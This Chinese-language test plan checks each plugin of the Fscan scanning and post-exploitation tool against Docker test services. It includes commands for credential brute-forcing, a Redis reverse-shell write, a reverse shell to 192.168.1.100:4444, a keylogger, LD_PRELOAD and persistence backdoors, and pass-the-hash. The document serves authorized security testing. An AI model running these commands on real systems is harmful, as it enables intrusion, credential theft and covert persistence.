# Fscan 插件饱和性测试文档 ## 概述 本文档用于全面测试Fscan v2.2.1的所有插件模块,确保每个组件都能正常工作。测试分为三大类:**服务插件**、**Web插件**和**本地插件**。 --- ## 测试环境要求 ### 基础环境 - Linux/Windows测试环境 - Docker容器(用于快速部署测试服务) - 网络连接(用于外部服务测试) - 管理员权限(用于本地插件测试) ### 测试目标服务器 建议使用Docker快速部署以下服务: ```bash # MySQL docker run -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7 # Redis docker run -d -p 6379:6379 redis:alpine # MongoDB docker run -d -p 27017:27017 mongo:4.4 # PostgreSQL docker run -d -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13 # SSH服务 docker run -d -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server # FTP服务 docker run -d -p 21:21 -p 30000-30009:30000-30009 -e FTP_USER=test -e FTP_PASS=test fauria/vsftpd # SMB/CIFS docker run -d -p 139:139 -p 445:445 dperson/samba -u "test;test" -s "share;/tmp;yes;no;yes" ``` --- ## 1. 服务插件测试 (Services Plugins) ### 1.1 数据库服务测试 #### MySQL插件测试 ```bash # 基础连接测试 ./fscan -h 127.0.0.1:3306 -m mysql # 暴力破解测试 ./fscan -h 127.0.0.1:3306 -user root -pwd "123456,admin,mysql" # 自定义字典测试 echo "root" > users.txt echo -e "123456\nadmin\nmysql" > passwords.txt ./fscan -h 127.0.0.1:3306 -userf users.txt -pwdf passwords.txt ``` **验证标准:** - [ ] 能正确识别MySQL服务 - [ ] 能进行版本探测 - [ ] 能执行暴力破解攻击 - [ ] 成功时显示版本信息和权限 #### PostgreSQL插件测试 ```bash # 基础测试 ./fscan -h 127.0.0.1:5432 -m postgresql # 暴力破解 ./fscan -h 127.0.0.1:5432 -user postgres -pwd "postgres,admin,123456" ``` **验证标准:** - [ ] 正确识别PostgreSQL服务 - [ ] 显示版本信息 - [ ] 暴力破解功能正常 #### MongoDB插件测试 ```bash # 无认证连接测试 ./fscan -h 127.0.0.1:27017 -m mongodb # 认证连接测试(如果有密码) ./fscan -h 127.0.0.1:27017 -user admin -pwd "admin,mongodb,123456" ``` **验证标准:** - [ ] 检测MongoDB服务 - [ ] 识别未授权访问 - [ ] 显示数据库列表(如果有权限) #### MSSQL插件测试 ```bash # SQL Server测试(需要MSSQL容器) ./fscan -h target:1433 -m mssql -user sa -pwd "Password123,admin,sa" ``` #### Redis插件测试 ```bash # 基础连接测试 ./fscan -h 127.0.0.1:6379 -m redis # 未授权访问测试 ./fscan -h 127.0.0.1:6379 # 写入测试(危险操作,仅测试环境) ./fscan -h 127.0.0.1:6379 -rs reverse_shell_command ``` **验证标准:** - [ ] 检测Redis服务 - [ ] 识别未授权访问 - [ ] 能执行info命令 - [ ] 支持写入操作(如果有权限) #### Oracle插件测试 ```bash # Oracle测试(需要Oracle容器) ./fscan -h target:1521 -m oracle -user system -pwd "oracle,admin,123456" ``` ### 1.2 网络服务测试 #### SSH插件测试 ```bash # SSH暴力破解测试 ./fscan -h 127.0.0.1:22 -m ssh -user "root,admin,ubuntu" -pwd "123456,admin,root" # SSH密钥测试 ./fscan -h 127.0.0.1:22 -sshkey /path/to/private_key ``` **验证标准:** - [ ] 正确识别SSH服务 - [ ] 显示SSH版本和算法 - [ ] 暴力破解功能正常 - [ ] 支持密钥认证 #### FTP插件测试 ```bash # FTP连接测试 ./fscan -h 127.0.0.1:21 -m ftp # FTP暴力破解 ./fscan -h 127.0.0.1:21 -user "ftp,anonymous,admin" -pwd "ftp,123456,admin" ``` **验证标准:** - [ ] 检测FTP服务 - [ ] 支持匿名登录检测 - [ ] 暴力破解功能正常 - [ ] 显示FTP banner信息 #### Telnet插件测试 ```bash # Telnet测试 ./fscan -h target:23 -m telnet -user "admin,root" -pwd "admin,123456" ``` #### SMB插件测试 ```bash # SMB服务探测 ./fscan -h 127.0.0.1:445 -m smb # SMB共享枚举 ./fscan -h 127.0.0.1:445 -user guest -pwd "" # MS17-010漏洞检测 ./fscan -h target:445 -m ms17010 ``` **验证标准:** - [ ] 检测SMB服务版本 - [ ] 枚举共享目录 - [ ] 检测已知漏洞 - [ ] 显示操作系统信息 #### SMTP插件测试 ```bash # SMTP测试 ./fscan -h target:25 -m smtp ./fscan -h target:587 -m smtp ``` #### LDAP插件测试 ```bash # LDAP连接测试 ./fscan -h target:389 -m ldap ./fscan -h target:636 -m ldap # LDAPS ``` ### 1.3 专用服务测试 #### Elasticsearch插件测试 ```bash # Elasticsearch测试 ./fscan -h 127.0.0.1:9200 -m elasticsearch ``` #### Kafka插件测试 ```bash # Kafka测试 ./fscan -h target:9092 -m kafka ``` #### RabbitMQ插件测试 ```bash # RabbitMQ管理接口测试 ./fscan -h target:15672 -m rabbitmq ./fscan -h target:5672 -m rabbitmq ``` #### Memcached插件测试 ```bash # Memcached测试 ./fscan -h target:11211 -m memcached ``` #### Neo4j插件测试 ```bash # Neo4j测试 ./fscan -h target:7474 -m neo4j ./fscan -h target:7687 -m neo4j ``` #### VNC插件测试 ```bash # VNC测试 ./fscan -h target:5900 -m vnc ``` #### RDP插件测试 ```bash # RDP连接测试 ./fscan -h target:3389 -m rdp ``` --- ## 2. Web插件测试 (Web Plugins) ### 2.1 Web标题获取测试 ```bash # HTTP标题获取 ./fscan -u "http://www.example.com" ./fscan -u "https://www.example.com" # 批量URL测试 echo -e "http://www.example.com\nhttps://www.github.com" > urls.txt ./fscan -uf urls.txt # 端口扫描+Web检测 ./fscan -h 127.0.0.1 -p 80,443,8080,8443 ``` **验证标准:** - [ ] 正确获取网页标题 - [ ] 显示HTTP状态码 - [ ] 识别Web服务器信息 - [ ] 显示响应长度 - [ ] 支持HTTPS检测 ### 2.2 Web POC扫描测试 ```bash # 启用POC扫描 ./fscan -u "http://target" -full # 指定POC名称 ./fscan -u "http://target" -pocname "spring,struts" # 自定义POC路径 ./fscan -u "http://target" -pocpath /path/to/pocs/ # 禁用POC(对照测试) ./fscan -u "http://target" -nopoc ``` **验证标准:** - [ ] 能加载POC规则 - [ ] 正确识别已知漏洞 - [ ] 显示漏洞详细信息 - [ ] POC并发控制正常 ### 2.3 指纹识别测试 ```bash # 启用指纹识别 ./fscan -u "http://target" -fp # 指纹+POC组合 ./fscan -u "http://target" -fp -full ``` **验证标准:** - [ ] 识别Web应用类型 - [ ] 识别中间件信息 - [ ] 识别CMS类型 - [ ] 识别技术栈 --- ## 3. 本地插件测试 (Local Plugins) > **警告:本地插件测试具有潜在风险,仅在测试环境中执行** ### 3.1 系统信息收集 ```bash # 系统信息收集 ./fscan -local systeminfo # 环境变量信息 ./fscan -local envinfo # 文件信息收集 ./fscan -local fileinfo # 域控信息收集 ./fscan -local dcinfo ``` **验证标准:** - [ ] 收集操作系统信息 - [ ] 枚举环境变量 - [ ] 查找敏感文件 - [ ] 识别域环境 ### 3.2 服务和进程管理 ```bash # Windows服务管理 ./fscan -local winservice # 系统服务管理(Linux) ./fscan -local systemdservice # 计划任务(Windows) ./fscan -local winschtask # Cron任务(Linux) ./fscan -local crontask ``` **验证标准:** - [ ] 枚举运行服务 - [ ] 识别计划任务 - [ ] 显示服务详细信息 - [ ] 检测异常服务 ### 3.3 持久化和后门 ```bash # Windows启动项 ./fscan -local winstartup # 注册表查询 ./fscan -local winregistry # LD_PRELOAD后门 ./fscan -local ldpreload # Shell环境后门 ./fscan -local shellenv ``` ### 3.4 网络和通信 ```bash # 反弹Shell ./fscan -local reverseshell -rsh 192.168.1.100:4444 # 正向Shell服务器 ./fscan -local forwardshell -fsh-port 4444 # SOCKS5代理 ./fscan -local socks5proxy -start-socks5 1080 ``` ### 3.5 高级功能 ```bash # 键盘记录 ./fscan -local keylogger -keylog-output keylog.txt # 内存转储 ./fscan -local minidump # 杀毒软件检测 ./fscan -local avdetect # 系统清理 ./fscan -local cleaner ``` ### 3.6 文件操作 ```bash # 文件下载 ./fscan -local downloader -download-url "http://example.com/file.exe" -download-path "/tmp/file.exe" # 持久化文件植入(Linux) ./fscan -local persistence -persistence-file "/tmp/backdoor.elf" # 持久化文件植入(Windows) ./fscan -local persistence -win-pe "C:\\temp\\backdoor.exe" ``` --- ## 4. 综合测试场景 ### 4.1 内网渗透场景 ```bash # 完整内网扫描 ./fscan -h 192.168.1.0/24 -p 21,22,23,80,135,139,443,445,1433,3306,3389,5432 # 禁用ping的扫描 ./fscan -h 192.168.1.0/24 -np # 指定线程数的大规模扫描 ./fscan -h 10.0.0.0/16 -t 1000 -mt 100 ``` ### 4.2 外网侦察场景 ```bash # 存活探测 ./fscan -h target.com -ao # Web应用测试 ./fscan -h target.com -fp -full # 特定端口扫描 ./fscan -h target.com -p 80,443,8080,8443,8888 ``` ### 4.3 横向移动场景 ```bash # 凭据重用测试 ./fscan -h 192.168.1.0/24 -user administrator -pwd "Password123" # 哈希传递攻击 ./fscan -h 192.168.1.0/24 -hash "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" ``` --- ## 5. 输出和日志测试 ### 5.1 输出格式测试 ```bash # 文本格式输出 ./fscan -h target -o result.txt -f txt # JSON格式输出 ./fscan -h target -o result.json -f json # CSV格式输出 ./fscan -h target -o result.csv -f csv # 禁用文件输出 ./fscan -h target -no ``` ### 5.2 日志级别测试 ```bash # 详细日志 ./fscan -h target -log all # 仅基础信息 ./fscan -h target -log base # 静默模式 ./fscan -h target -silent # 无颜色输出 ./fscan -h target -nocolor # 无进度条 ./fscan -h target -nopg ``` --- ## 6. 性能和稳定性测试 ### 6.1 高并发测试 ```bash # 最大线程测试 ./fscan -h 192.168.1.0/24 -t 2000 -mt 200 # 超时控制测试 ./fscan -h target -time 10 -wt 30 -gt 300 # 重试机制测试 ./fscan -h unreachable_target -retry 5 ``` ### 6.2 大规模目标测试 ```bash # C类网段扫描 ./fscan -h 192.168.1.0/24 # B类网段扫描(谨慎使用) ./fscan -h 10.0.0.0/16 -t 1000 # 文件批量目标 echo -e "192.168.1.1\n192.168.1.2\n192.168.1.3" > targets.txt ./fscan -hf targets.txt ``` --- ## 7. 代理和网络测试 ### 7.1 HTTP代理测试 ```bash # HTTP代理 ./fscan -h target -proxy http://127.0.0.1:8080 # SOCKS5代理 ./fscan -h target -socks5 127.0.0.1:1080 # 组合使用 ./fscan -u "http://target" -proxy http://proxy:8080 -cookie "session=abc123" ``` ### 7.2 DNS和网络配置 ```bash # DNS日志记录 ./fscan -h target.com -dns # 用户代理自定义 ./fscan -u "http://target" -cookie "custom=value" # 域环境扫描 ./fscan -h target -domain corp.local ``` --- ## 8. 错误处理和边界测试 ### 8.1 错误输入测试 ```bash # 无效目标 ./fscan -h "invalid_host" # 无效端口 ./fscan -h 127.0.0.1 -p 99999 # 无效插件 ./fscan -h 127.0.0.1 -m nonexistent_plugin # 无效文件路径 ./fscan -hf /nonexistent/file.txt ``` ### 8.2 资源限制测试 ```bash # 内存使用测试(大目标列表) ./fscan -h 0.0.0.0/0 -ao # 不要真的运行这个 # 磁盘空间测试(大输出文件) ./fscan -h large_network -o /tmp/large_result.txt ``` --- ## 9. 验证清单 ### 9.1 功能完整性检查 - [ ] 所有服务插件都能正常加载和执行 - [ ] Web插件能正确处理HTTP/HTTPS协议 - [ ] 本地插件能在对应操作系统上正常运行 - [ ] 输出格式正确且完整 - [ ] 日志记录准确无误 ### 9.2 稳定性检查 - [ ] 长时间运行无内存泄漏 - [ ] 高并发场景下无崩溃 - [ ] 网络异常时能优雅处理 - [ ] 错误输入不会导致程序异常退出 ### 9.3 安全性检查 - [ ] 本地插件不会误伤测试环境 - [ ] 网络扫描遵循配置的限制 - [ ] 敏感信息正确处理(不明文显示密码等) - [ ] 代理配置正确工作 --- ## 10. 测试报告模板 ### 测试执行记录 ``` 测试日期:____________________ 测试环境:____________________ Fscan版本:____________________ Go版本:______________________ 插件测试结果: □ 服务插件 (____/25 通过) □ Web插件 (____/2 通过) □ 本地插件 (____/20 通过) 性能测试结果: □ 并发性能测试通过 □ 内存使用测试通过 □ 网络异常处理测试通过 发现的问题: 1. ________________________ 2. ________________________ 3. ________________________ 测试建议: 1. ________________________ 2. ________________________ 3. ________________________ 测试人员签名:____________________ ``` --- ## 附录 ### A. Docker测试环境快速部署脚本 ```bash #!/bin/bash # 快速部署测试服务脚本 echo "部署MySQL..." docker run -d --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7 echo "部署Redis..." docker run -d --name redis-test -p 6379:6379 redis:alpine echo "部署PostgreSQL..." docker run -d --name postgres-test -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13 echo "部署SSH..." docker run -d --name ssh-test -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server echo "测试服务部署完成!" ``` ### B. 清理测试环境脚本 ```bash #!/bin/bash # 清理测试容器 docker stop mysql-test redis-test postgres-test ssh-test docker rm mysql-test redis-test postgres-test ssh-test rm -f result.* *.txt *.json *.csv keylog.txt echo "测试环境清理完成!" ``` ### C. 常用测试命令备忘 ```bash # 快速本地服务扫描 ./fscan -h 127.0.0.1 -p 21,22,80,135,139,443,445,1433,3306,3389,5432,6379 # 完整功能测试 ./fscan -h 127.0.0.1 -fp -full -log all # 性能基准测试 time ./fscan -h 192.168.1.0/24 -t 500 ``` --- **注意事项:** 1. 本测试文档仅用于授权的安全测试环境 2. 禁止在生产环境或未授权系统上执行测试 3. 部分本地插件可能需要管理员权限 4. 测试过程中请备份重要数据 5. 如发现安全漏洞,请负责任地披露 **版本:** v1.0 **更新日期:** 2025-09-02 **适用于:** Fscan v2.2.1